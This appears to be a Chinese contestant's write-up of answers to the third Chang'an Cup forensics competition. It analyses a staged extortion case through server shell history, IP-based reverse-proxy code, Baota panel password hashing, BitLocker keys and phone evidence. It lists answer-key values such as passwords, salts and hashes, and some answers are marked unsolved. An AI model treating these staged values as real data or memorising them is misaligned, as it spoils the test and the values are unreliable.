253 cd /opt/honglianjingsai/chronusNode/ # 进入应用目录
254 ls # 查看目录内容
255 cd logs/ # 进入日志目录
256 ls # 查看日志文件
257 ls -la # 以长格式显示所有文件
258 cd . # 停留在当前目录
259 ls # 查看文件
260 ls -la # 以长格式显示所有文件
261 date # 显示当前日期时间
262 vim 2021-4-23-18-59.log # 编辑日志文件
263 date # 显示当前日期时间
264 timedatectl # 显示系统时间设置
265 timedatectl set-timezone UTC # 设置时区为UTC
266 timedatectl # 确认时区设置
267 date # 显示当前日期时间
268 ls # 查看当前目录
269 last # 显示最近登录用户
270 clear # 清屏
271 ififconfigiig # 错误命令,应该是ifconfig
272 ifconfig # 显示网络接口配置
273 reboot # 重启系统
274 clear # 清屏
275 ifconfig # 显示网络接口配置
276 ifconfig # 再次显示网络接口配置
277 cd /opt/honglianjingsai/chronusNode/ # 进入应用目录
278 node app.js # 启动Node.js应用
279 shutdown -r now # 立即重启系统
280 history # 显示完整的命令历史
  • 操作
[root@localhost ccj]# cd /opt/
[root@localhost opt]# cd honglianjingsai/
[root@localhost honglianjingsai]# ls
chronusNode node-v14.16.1-linux-x64.tar.xz README.txt
[root@localhost honglianjingsai]# vi README.txt

alt text

修改服务器端口在目录chronusNode/const.js下修改参数server_config/port,默认为8800,即访问路径http://localhost:8800即可
修改反向代理目标地址在目录chronusNode/controller/ADProxy.js下修改函数service即可
  • 找到ADProxy.js路径,打开如下:
/**
* 反向代理
*
*/
module.exports = function(_brain, _app) {
/* INCLUDE */
const path = _brain.A.path;
const async = _brain.A.async;
const proxy = require('http-proxy-middleware');
const net = require('net');
/* DEFINE */
const _tag = path.basename(__filename, ".js");
var _isBanned = false;
var _isStarted = false;
if(!_brain.A.checkIsNull(_brain.C.autorun_config[_tag], _tag)){
_isStarted = _brain.C.autorun_config[_tag];
}
/* DEFINE PROXY */
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}
const _proxy100 = {
protocol: 'http:',
host: '192.168.110.112',
port: 80
}
const _proxy100p = {
protocol: 'http:',
host: '192.168.110.113',
port: 80
}
/*明确配置了3个后端服务器,这是负载均衡的典型特征!!!*/
/* Private Function */
/**
* Service Running
*/
var service = function (){
if(!_isStarted) return;
// proxy middleware options
const _proxyer_chronus = proxy({
target: '/', // target host
changeOrigin: true, // needed for virtual hosted sites
ws: true, // proxy websockets
router: function(req) {
var clientIP = req.get("x-forwarded-for")
if (clientIP == undefined) {
clientIP = req.connection.remoteAddress
}
var clientIPArr = clientIP.split(".")
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2])
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);
// 基于IP第三段的分流逻辑
if (clientIP3Int <= 50) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50
} else if (clientIP3Int <= 100) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100));
return _proxy100
} else {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100p));
return _proxy100p
}
}
}
})

_app.all('/*', _proxyer_chronus);// 所有请求都经过代理
};

/**
* Service Killing
*/
var serviceKiller = function (){
};


/* Public Function */
/* 返回_tag */
var getTag = function (){
return _tag;
};
/* 判断服务是否开启 */
var isStarted = function (){
return _isStarted;
};
/* 判断服务是否被意外禁止 */
var isBanned = function (){
return _isBanned;
};

/* 服务开关 */
var startServer = function (callBack){
_isStarted = true;
service();
if(callBack)
callBack(100, _tag + ' Started');
};

var stopServer = function (callBack){
_isStarted = false;
serviceKiller();
if(callBack)
callBack(100, _tag + ' Stopped');
};

/* Service AutoRun */
if(_isStarted){
startServer();
}else{
stopServer();
}

return{
getTag : getTag,
isStarted : isStarted,
isBanned : isBanned,
startServer : startServer,
stopServer : stopServer,
};
}
  • 作用:负载均衡

15. 上一题中,提到的主要功能对应的服务监听的端口为:

  • 上面README.txt中有:修改服务器端口在目录chronusNode/const.js下修改参数server_config/port,默认为8800,即访问路径http://localhost:8800即可
  • 打开const.js,寻找参数server_config/port
/* 服务器基本配置 */
server_config : {
host : '0.0.0.0',
port : 80,
safe_port : 8443,
static_path : 'static',
static_host : '127.0.0.1'
  • 答案:80

16. 上一题中,提到的服务所使用的启动命令为:

  • 最开始历史命令可以看到:node app.js # 启动Node.js应用

17. 经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第()位进行判断【标准格式:9】

var clientIPArr = clientIP.split(".")  // 将IP按点号分割成数组
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2]) // 提取第三段并转为整数
// ↑
// 数组索引2对应第三段
// 数组索引: [0] [1] [2] [3]
// IP示例: 192 . 168 . 110 . 111
// 第一段 第二段 第三段 第四段

18. 经分析,当判断条件小于50时,服务器会将该请求转发到IP为()的服务器上【标准格式:111.111.111.111】

if (clientIP3Int <= 50) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50
/* DEFINE PROXY */
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}

19. 请分析,该服务器转发的目标服务器一共有几台【标准格式:9】

  • 3

20. 请分析,受害者通讯录被获取时,其设备的IP地址为【标准格式:111.111.111.111】【问题未解答,但跳过不管了(*‘ v`*)】

  • 问题:1怎么知道是红米的那个2wp里面的诡异时间点是怎么出来的3文件导不出来
  • 报警时间:2021年4月25日,上午8点左右
  • 在日志中注意时间是UTC时间

alt text

  • 一直访问内网192.168.110.110,所以是本地嫌疑人ip:192.168.110.203

alt text

  • 对应时间找到ip

21. 请分析,受害者的通讯录被窃取之后,经由该服务器转发到了IP为()的服务器上【标准格式:111.111.111.111】

  • 不管谁都是转发到192.168.110.113

alt text

通过对检材二的分析,警方进一步掌握并落地到了目标服务器地址,通过对服务器进行证据固定,得到服务器镜像–检材三,请使用第21题答案对检材三进行解密并分析,回答下列问题:

22. 检材三的原始硬盘的SHA256值为【问题未解答 但不管了(っ﹏-) .。o】

  • 怎么知道是web3哇

alt text

23. 请分析第21题中,所指的服务器的开机密码为:

  • 检材四 嫌疑人的PC端的Xshell中看到连接记录
  • 选择原因:看负责转发的服务器B的密码看转发对象CDE的账密是经验之谈,而不是规律
  • 但这个是选择的直接证据:没有看到192.168.110.110被转发信息

alt text
alt text

  • honglian7001

24. 嫌疑人架设网站使用了宝塔面板,请问面板的登陆用户名为:

  • hl123

alt text

25. 请分析用于重置宝塔面板密码的函数名为

#设置面板密码
def set_panel_pwd(password,ncli = False):
import db
sql = db.Sql()
result = sql.table('users').where('id=?',(1,)).setField('password',public.password_salt(public.md5(password),uid=1))
username = sql.table('users').where('id=?',(1,)).getField('username')
if ncli:
print("|-用户名: " + username)
print("|-新密码: " + password)
else:
print(username)
  • set_panel_pwd

26. 请分析宝塔面板登陆密码的加密方式所使用的哈希算法为

  • md5 24题已知

27. 请分析宝塔面板对于其默认用户的密码一共执行了几次上题中的哈希算法

  • 3次
#设置面板密码
def set_panel_pwd(password,ncli = False):
import db
sql = db.Sql()
result = sql.table('users').where('id=?',(1,)).setField('password',public.password_salt(public.md5(password),uid=1))
username = sql.table('users').where('id=?',(1,)).getField('username')
if ncli:
print("|-用户名: " + username)
print("|-新密码: " + password)
else:
print(username)
  • 发现这里调用了public类的md5方法,在/www/server/panel/class里面可以找到public.py,导出搜索password:
def password_salt(password,username=None,uid=None):
'''
@name 为指定密码加盐
@author hwliang<2020-07-08>
@param password string(被md5加密一次的密码)
@param username string(用户名) 可选
@param uid int(uid) 可选
@return string
'''
chdck_salt()
if not uid:
if not username:
raise Exception('username或uid必需传一项')
uid = M('users').where('username=?',(username,)).getField('id')
salt = M('users').where('id=?',(uid,)).getField('salt')
return md5(md5(password+'_bt.cn')+salt)

28. 请分析当前宝塔面板密码加密过程中所使用的salt值为【区分大小写】

  • v87ilhAVumZL 24题已得
  • 打开宝塔面板数据库/www/server/panel/default.db,在user表中也看

29. 请分析该服务器,网站源代码所在的绝对路径为

alt text

30. 请分析,网站所使用的数据库位于IP为()的服务器上(请使用该IP解压检材五,并重构网站)【标准格式:111.111.111.111】:192.168.110.115-CAB2021

  • /www/wwwroot/www.honglian7001/app/databae.php
  • 遍历网站文件,找数据库文件

alt text

  • 192.168.110.115

31. 请分析,数据库的登陆密码为【区分大小写】

  • 30题已得
  • wxrM5GtNXk5k5EPX

32. 请尝试重构该网站,并指出,该网站的后台管理界面的入口为【标准格式:/web】

  • RStudioProtable-打开镜像导入文件,新建虚拟快RAID和自动检测,拖拽镜像文件,自动检测

alt text

  • 火眼依据信息导入

alt text

  • 问我要密码?我又不知道。。。估计火眼仿真默认改123456了账户就用root不然网站无法重构!!!

33. 请分析该涉案网站代码中对登录用户的密码做了加密处理。请找出加密算法中的salt值【区分大小写】

alt text

  • lshi4AsSUrUOwWV

34. 请分析该网站的管理员用户的密码为:

  • 登录宝塔
  • defalt```获得为默认密码,不显示更改后密码!!!

    ![alt text](/img/第三届长安杯笔记_6-35.png)
    - 对应案发时间,只有 202104 这个时间是比较符合的,在这个文件夹下只有两个日志,我们打开搜索 password 就可以找到只有两个密码,分别是 123456 和 security ,对应用户名都是 admin,我们只需要在刚刚重构好的登录界面尝试哪个密码可以登录到后台,哪个密码就是本题的答案(security)

    #### 35. 在对后台账号的密码加密处理过程中,后台一共计算几次哈希值
    - 见33题图,原密码md5拼接salt值的md5,拼接的结果再进行一次md5,一共3次

    #### 36. 请统计,后台中,一共有多少条设备记录

    ![alt text](/img/第三届长安杯笔记_6-36.png)
    #### 37. 请通过后台确认,本案中受害者的手机号码为
    - 小白鼠.txt里面查看

    ![alt text](/img/第三届长安杯笔记_6-33.png)
    - 设备18644099137通讯录

    #### 38. 请分析,本案中受害者的通讯录一共有多少条记录
    - 小白鼠.txt里面查看,上题已得:34

    ### 通过对检材二和三进行分析,警方通过IP落地,警方掌成功抓获犯罪嫌疑人,现将嫌疑人的PC机和手机进行了取证,分别制作了镜像,请使用第13题的答案对检材四进行解密,并回答下列问题 (192.168.110.203-CAB2021)

    #### 39. 请计算检材四-PC的原始硬盘的SHA256值

    ![alt text](/img/第三届长安杯笔记_6-8.png)
    #### 40. 请分析,检材四-PC的Bitlocker加密分区的解密密钥为

    ![alt text](/img/第三届长安杯笔记_6-7.png)
    ```txt
    BitLocker 驱动器加密恢复密钥*要验证这是否为正确的恢复密钥,请将以下标识符的开头与电脑上显示的标识符值进行比较。标识符: 3BC73D1D-E5B0-4592-B9D6-42D0A306B625如果以上标识符与电脑显示的标识符匹配,则使用以下密钥解锁你的驱动器。恢复密钥: 511126-518936-161612-135234-698357-082929-144705-622578如果以上标识符与电脑显示的标识符不匹配,则该密钥不是解锁你的驱动器的正确密钥。请尝试其他恢复密钥,或参阅 https://go.microsoft.com/fwlink/?LinkID=260589 以获得其他帮助。
  • 注意:Bitlocker解密后火眼要全部重新分析!!!

41. 请分析,检材四-PC的开机密码为

  • 39题已知

42. 经分析发现,检材四-PC是嫌疑人用于管理服务器的设备,其主要通过哪个浏览器控制网站后台

  • chrome

alt text

43. 请计算PC检材中用户目录下的zip文件的sha256值

  • 搜索得到users目录位置

alt text

  • 目录内搜索zip,创建任务

alt text

  • 0DD2C00C8C6DBDEA123373F91A3234D2F07D958355F6CD7126E397E12E8ADBB3

44. 请分析检材四-phone,该手机的IMEI号为

alt text

45. 请分析检材四-phone,嫌疑人和本案受害者是通过什么软件开始接触的【标准格式:支付宝】

  • 伊对

alt text

46. 请分析检材四-phone,受害者下载恶意APK安装包的地址为

47. 请分析检材四-phone,受害者的微信内部ID号为

  • wxid_op8i06j0aano22

alt text

48. 请分析检材四-phone,嫌疑人用于敲诈本案受害者的QQ账号为

  • 1649840939

alt text

49. 请综合分析,嫌疑人用于管理敲诈对象的容器文件的SHA256值为

  • 43题zip解压,密码为12306,与账密相同,当然也可以暴力破解,但注意暴力的位数5
  • 火眼仿真获得密码money
  • 打开此电脑快速访问

alt text

  • VC挂载,key.rar作为密匙文件
  • 嫌疑人用于管理敲诈对象的容器文件是小白鼠.txt

alt text

  • 9C4BE29EB5661E6EDD88A364ECC6EF004C15D61B08BD7DD0A393340180F15608
  • 但为什么小白鼠.txt导出后这么算哈希值不一样???

alt text

50. 请综合分析嫌疑人检材,另外一受害者"郭先生"的手机号码为

  • 15266668888

alt text

51. 通过嫌疑人检材,其中记录了几位受害者的信息

  • 5

alt text

52. 请使用第11题的密码解压"金先生转账.zip"文件,并对压缩包中的文件计算SHA256值

  • 11题:c74d97b01eae257e44aa9d5bade97baf
  • cd62a83690a53e5b441838bc55ab83be92ff5ed26ec646d43911f119c15df510
  • hashcalc算

53. 请综合分析,受害者一共被嫌疑人敲诈了多少钱(转账截图被隐藏在多个地方)【未解决】

  • 伊对1000
    alt text
  • 微信2000
    alt text
  • QQ
    • 600 + 【2笔转账记录我都已经保存好了/悠闲】
      alt text
    • 打不开图片
      alt text
  • "金先生转账.zip"文件
    • 2000 交易时间:2021-04-24 18:30:25
  • 数据库里面还有个?!
  • navicat连接,导出成txt,厨子魔法棒可以发现是base64编码过的jpg图片,解码后保存为图片就能正常查看,有1000元
    alt text
    alt text
    alt text

总体分析:

  • 数字是192.168.110.后第四段数字
    • A 受害者252
    • B apk回传数据的服务器 负责转发的服务器203
    • C D E 建数据库的宝塔,三个转发对象111 112 113
    • F window ssh连接三个对象
  • 192.168.110开头的IP地址属于私有地址段,通常作为路由器管理后台的默认网关。所以这几个ip在这个这个服务器集群里面是一直使用并代表所在服务器使用